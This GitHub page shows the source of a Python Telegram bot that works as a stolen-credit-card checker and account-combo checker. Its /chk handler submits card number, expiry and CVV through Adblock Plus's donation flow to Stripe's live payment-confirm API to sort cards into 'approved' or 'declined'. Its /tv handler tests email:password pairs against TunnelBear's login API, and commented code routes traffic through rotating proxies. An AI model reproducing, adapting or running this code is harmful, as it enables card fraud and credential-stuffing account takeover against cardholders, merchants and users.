-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathbot.py
More file actions
224 lines (201 loc) · 7.33 KB
/
Copy pathbot.py
File metadata and controls
224 lines (201 loc) · 7.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
import logging
import os
import requests
import time
import string
import random
from aiogram import Bot, Dispatcher, executor, types
ENV = bool(os.environ.get('ENV', True))
TOKEN = os.environ.get("TOKEN", None)
BLACKLISTED = os.environ.get("BLACKLISTED", None)
PREFIX = "!/"
# Configure logging
logging.basicConfig(level=logging.INFO)
# Initialize bot and dispatcher
bot = Bot(token=TOKEN, parse_mode=types.ParseMode.HTML)
dp = Dispatcher(bot)
###USE YOUR ROTATING PROXY### NEED HQ PROXIES ELSE WONT WORK UPDATE THIS FILED
"""
proxy = {
"http": "https://zenum.io/proxylist?format=txt&start=10000&q=400000",
"https": "https://zenum.io/proxylist?format=txt&start=10000&q=40000",
}
"""
session = requests.session()
# session.proxies = proxy #UNCOMMENT IT AFTER PROXIES
#random str GEN FOR EMAIL
N = 10
rnd = ''.join(random.choices(string.ascii_lowercase +
string.digits, k = N))
@dp.message_handler(commands=['start', 'help'], commands_prefix=PREFIX)
async def helpstr(message: types.Message):
await message.answer_chat_action("typing")
await message.reply(
"Hello how to use <code>/chk cc/mm/yy/cvv</code> bot by @patchlogger"
)
@dp.message_handler(commands=['tv'], commands_prefix=PREFIX)
async def tv(message: types.Message):
tic = time.perf_counter()
await message.answer_chat_action("typing")
ac = message.text[len('/tv '):]
splitter = ac.split(':')
email = splitter[0]
password = splitter[1]
if not ac:
return await message.reply(
"<code>Send ac /tv email:pass.</code>"
)
payload = {
"username": email,
"password": password,
"withUserDetails": "true",
"v": "web-1.0"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4571.0 Safari/537.36 Edg/93.0.957.0",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded"
}
r = session.post("https://prod-api-core.tunnelbear.com/core/web/api/login",
data=payload, headers=headers)
toc = time.perf_counter()
# capture ac details
if "Access denied" in r.text:
await message.reply(f"""
<b>COMBO</b>➟ <code>{ac}</code>
<b>BOTBY</b>➟ PATCHLOGGER
<b>STATUS</b>➟ ❌WRONG DETAILS
TOOK ➟ <b>{toc - tic:0.4f}</b>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={message.from_user.id}">{message.from_user.first_name}</a>
""")
elif "PASS" in r.text:
res = r.json()
await message.reply(f"""
<b>COMBO</b>➟ <code>{ac}</code>
<b>STATUS</b>➟ ✅VALID
<b>BOTBY</b>➟ PATCHLOGGER
<b>LEVEL</b>➟ {res['details']['bearType']}
<b>VALIDTILL</b>➟ {res['details']['fullVersionUntil']}
TOOK ➟ <b>{toc - tic:0.4f}</b>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={message.from_user.id}">{message.from_user.first_name}</a>
""")
else:
await message.reply("Error❌: REQ failed")
@dp.message_handler(commands=['chk'], commands_prefix=PREFIX)
async def ch(message: types.Message):
tic = time.perf_counter()
await message.answer_chat_action("typing")
cc = message.text[len('/chk '):]
splitter = cc.split('|')
ccn = splitter[0]
mm = splitter[1]
yy = splitter[2]
cvv = splitter[3]
email = f"{str(rnd)}@gmail.com"
if not cc:
return await message.reply(
"<code>Send Card /chk cc|mm|yy|cvv.</code>"
)
BIN = cc[:6]
if BIN in BLACKLISTED:
return await message.reply(
"<b>BLACKLISTED BIN</b>"
)
# get guid muid sid
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4571.0 Safari/537.36 Edg/93.0.957.0",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded"
}
s = session.post("https://m.stripe.com/6",
headers=headers)
r = s.json()
Guid = r["guid"]
Muid = r["muid"]
Sid = r["sid"]
# now 1 req
payload = {
"lang": "en",
"type": "donation",
"currency": "USD",
"amount": "5",
"custom": "x-0-b43513cf-721e-4263-8d1d-527eb414ea29",
"currencySign": "$"
}
head = {
"User-Agent": "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "*/*",
"Origin": "https://adblockplus.org",
"Sec-Fetch-Dest": "empty",
"Referer": "https://adblockplus.org/",
"Accept-Language": "en-US,en;q=0.9"
}
re = session.post("https://new-integration.adblockplus.org/",
data=payload, headers=head)
client = re.text
pi = client[0:27]
#hmm
load = {
"receipt_email": email,
"payment_method_data[type]": "card",
"payment_method_data[billing_details][email]": email,
"payment_method_data[card][number]": ccn,
"payment_method_data[card][cvc]": cvv,
"payment_method_data[card][exp_month]": mm,
"payment_method_data[card][exp_year]": yy,
"payment_method_data[guid]": Guid,
"payment_method_data[muid]": Muid,
"payment_method_data[sid]": Sid,
"payment_method_data[payment_user_agent]": "stripe.js/af38c6da9;+stripe-js-v3/af38c6da9",
"payment_method_data[referrer]": "https://adblockplus.org/",
"expected_payment_method_type": "card",
"use_stripe_sdk": "true",
"webauthn_uvpa_available": "true",
"spc_eligible": "false",
"key": "pk_live_Nlfxy49RuJeHqF1XOAtUPUXg00fH7wpfXs",
"client_secret": client
}
header = {
"User-Agent": "Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "application/json",
"Origin": "https://js.stripe.com",
"Referer": "https://js.stripe.com/",
"Accept-Language": "en-US,en;q=0.9"
}
rx = session.post(f"https://api.stripe.com/v1/payment_intents/{pi}/confirm",
data=load, headers=header)
res = rx.json()
msg = res["error"]["message"]
toc = time.perf_counter()
if "incorrect_cvc" in rx.text:
await message.reply(f"""
✅<b>CC</b>➟ <code>{cc}</code>
<b>STATUS</b>➟ #ApprovedCCN
<b>BOTBY</b>➟ PATCHLOGGER
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.4f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={message.from_user.id}">{message.from_user.first_name}</a>
""")
elif "Unrecognized request URL" in rx.text:
await message.reply("[UPDATE] PROXIES ERROR")
elif rx.status_code is 200:
await message.reply(f"""
❌<b>CC</b>➟ <code>{cc}</code>
<b>STATUS</b>➟ #ApprovedCVV
<b>BOTBY</b>➟ PATCHLOGGER
<b>TOOK:</b> <code>{toc - tic:0.4f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={message.from_user.id}">{message.from_user.first_name}</a>
""")
else:
await message.reply(f"""
❌<b>CC</b>➟ <code>{cc}</code>
<b>STATUS</b>➟ Declined
<b>BOTBY</b>➟ PATCHLOGGER
<b>MSG</b>➟ {msg}
<b>TOOK:</b> <code>{toc - tic:0.4f}</code>(s)
<b>CHKBY</b>➟ <a href="tg://user?id={message.from_user.id}">{message.from_user.first_name}</a>
""")
if __name__ == '__main__':
executor.start_polling(dp, skip_updates=True)